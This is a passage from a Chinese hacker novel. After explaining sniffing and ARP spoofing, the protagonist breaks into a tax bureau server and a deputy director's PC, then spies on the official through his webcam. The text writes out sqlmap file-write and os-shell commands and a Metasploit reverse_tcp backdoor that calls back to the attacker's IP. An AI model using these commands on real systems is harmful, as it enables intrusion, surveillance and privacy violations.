嗅探,是個很古老的技術,要知道在以太網中,所有的通訊都是廣播的,也就是說通常在同一個網段的所有網絡接口都可以訪問在物理媒體上傳輸的所有數據,而每一個網絡接口都有一個唯一的硬體地址,這個硬體地址也就是網卡的 mac 地址,大多數系統使用 48 比特的地址,這個地址用來表示網絡中的每一個設備,一般來說每一塊網卡上的 mac 地址都是不同的,每個網卡廠家得到一段地址,然後用這段地址分配給其生產的每個網卡一個地址。在硬體地址和 ip 地址間使用 arp 和 rarp 協議進行相互轉換。
正常狀態下,網卡會根據基於 osi 模型的 tcp/ip 協議,接受和發送只和自己 mac 或者是 ip 相關的數據,可一旦網卡處在了另一種混雜模式的時候,它會接受任何一個經過它的廣播數據包,如果在加上 arp 網關欺騙,那麼捕獲到的數據將是整個交換機下主機的通信數據,根據網絡傳輸協議的編碼原則,這些數據在沒有加密的情況下,是很容易進行分析的,而且數據報文也是明碼顯示的。
腦中想著嗅探的原理,淼風在網管李志的注視目光中,再次坐在了 19 號機前。
打開自己臨時註冊的郵箱,看到附件大小不定的十幾封郵件,淼風握了握雙手,嘴角一動,開始分析數據。
時間悄然流失,淼風抽著煙,靠在椅子上,滾動著鼠標,半眯著眼睛查看著一封封凌亂的數據郵件,同時腦中同步進行著數據分析。
十幾分鐘後,淼風坐直了身子,伸出被他放進口袋取暖的左手,開始敲打鍵盤。
新建的 txt 文檔中,涉及地稅局副局長陳昇的信息被羅列了出來。
陳昇,地稅局副局長,1 月 14 日晚上九點將參加由市局統籌安排的領導見面會,秘書姓名:宋雲。
手機號碼:130xxxx9987, 內線座機 8971,辦公電腦 ip:10.3.3.97。
看著從龐大嗅探數據中捕獲的簡簡訊息,淼風吐了口氣,再次安裝了虛擬機,並加載了自己的 linux_live_cd,啟動 sqlmap,用昨晚相同的方式進入了地稅局 web 服務器。
啟動 metasploit,payload_windows/meterpreter/reverse_tcp_lhost=星空網吧外網 ip_lport=443_r_|_msfencode–b_–t_exe_–o_root/desktop/fox.exe 生成反彈鏈接後門。
ifconfig 查看了一下本地鏈接 ip 網關地址,瀏覽器打開網關,看到 tp 標識的時候,淼風點了點頭,直接通過幾年後 tp 的路由 web 後門將本機內網 ip 設置成了 dmz 主機(將內網主機所有埠全部映射到外網)。
sqlmap.py_-u_"dishuijuguanfangwebzhurudian"--file-write_"/root/desktop/fox.exe"--file-dest_"c:/windows/temp/fox.exe"_-v_1 將反彈後門寫入地稅局官網 web 服務器的 windows 下的 temp 目錄,文件名為 fox.exe
sqlmap 添加--os-shell,通過 shell 執行 fox.exe,幾秒中之後 metasploit 顯示成功,反彈回一個 meterpreter 的 shell。
namp_10.3.3.97,返回埠開發情況 135,448,139……,隨便從 metasploit 中找了一 windows 的 exploit,對 10.3.3.97 溢出!getshell 成功!
陳昇主機被拿下!羅列了一下主機的硬體信息後,讓淼風發現了一個有意思的東西,陳昇的主機裝著耳麥和攝像頭!「這下我可以看一下你工作的時候都在幹什麼了!不過不急,讓我看看你的電腦上都放著什麼東西。」
吐了口氣,淼風開始羅列陳昇電腦上的文件,計劃書丟棄,工作安排丟棄,「這個是……」看著以「重要文件」命名的文件中顯示的三百多個以 avi 後綴名的文件,淼風眉頭動了一下。調用本地視頻播放軟體打開之後,一個穿著三點的半裸女人出現在了淼風屏幕上。
就在這個時候因為好奇,李志來的了淼風身旁,瞄過來的視線恰巧看到了同樣的畫面。「這個傢伙大白天的看這些東西,倒是有幾分膽色。」輕笑了一聲,李志回身回到了自己網管的位置上。
大白天的看**,李志心裡肯定了淼風並不是什麼黑客,同時也不有的鬱悶起來,cs 的技術他還要再練啊,秋水一個不大的縣城都臥虎藏龍,不努力恐怕不行了。
因為猛然見跳出的畫面,愣神的淼風,並沒有發現李志的動作。吸了口氣,將畫面關掉,淼風不由低聲咒罵了一聲陳昇,心裡更是對搞定陳昇多出了一份沒來由的急切。
再次回到陳昇電腦的桌面文件夾,淼風隨意的打開了「工作安排」的 word 文件。
看到 1 月 14 號晚上 11 點特別活動不必回家的備註時,淼風愣了。「這是什麼意思?」想了幾分鐘,發現根本想不通後,淼風打開了陳昇主機上的視頻攝像頭,他想看看這個時候的陳昇到底在幹嘛。
一個燙了捲髮,帶著銀色邊框的圓臉女人,突兀的出現在了屏幕上,讓淼風有些意外的愣了一下。眼睛猛地一閃,淼風雙手一動,暫時接管了陳昇主機鍵盤的並快速的按下了截屏鍵,截屏鍵 prtscsysrq 彈起的那一刻,淼風退出了鍵盤接管。
坐在陳昇電腦前的宋雲,眉頭動了動,她發現自己剛剛準備敲打的幾個字錯了一個。有些無奈的再次刪除,重新敲到了一遍,她似乎根本就沒有感覺到鍵盤在某一刻並不屬於她。
看著截屏下來的屏幕圖片,淼風終於搞懂了那句備註到底是什麼意思了。因為宋雲正在操作的文件就是「工作安排」。摸了摸鼻子,淼風不僅有點慶幸自己的運氣了,「如果我是在之前打開,word 十分鐘自動保存的功能,或許保存的是之前的文件。」
這句話是宋雲操作陳昇的電腦留下的,想來兩人的關係一定不一般,這個「工作安排」的 word 文件,一定是兩人進行某種交流時使用的工具。
再次看了視頻中的宋雲一眼,淼風覺得自己有必要去地稅局走一趟了,「不過在去之前,我還得準備一些東西。」;